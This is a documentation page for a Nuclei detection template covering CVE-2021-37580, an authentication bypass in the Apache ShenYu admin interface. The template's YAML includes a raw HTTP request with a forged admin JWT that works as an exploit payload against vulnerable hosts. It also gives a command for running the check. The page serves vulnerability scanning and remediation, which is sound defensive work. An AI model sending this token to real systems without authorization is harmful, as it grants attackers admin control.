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Apache ShenYu Admin JWT - Authentication Bypass

ID: CVE-2021-37580

Severity: critical

Author: pdteam

Tags: cve2021,cve,apache,jwt,shenyu

Description

Section titled “Description”

Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2021-37580


info:
  name: Apache ShenYu Admin JWT - Authentication Bypass
  author: pdteam
  severity: critical
  description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
  remediation: |
    Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
    - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
    - http://www.openwall.com/lists/oss-security/2021/11/16/1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
    epss-score: 0.92774
    epss-percentile: 0.99015
    cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shenyu
  tags: cve2021,cve,apache,jwt,shenyu


http:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a00463044022043c0431e6f89f4303be16ded94e2d126c74d17a4afde91ad1d821e218c9eba4d02206a819d3e413d3cf934ca2b97b26777b0bf87f285c64743f878cdc2c3a2728806:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-37580.yaml"

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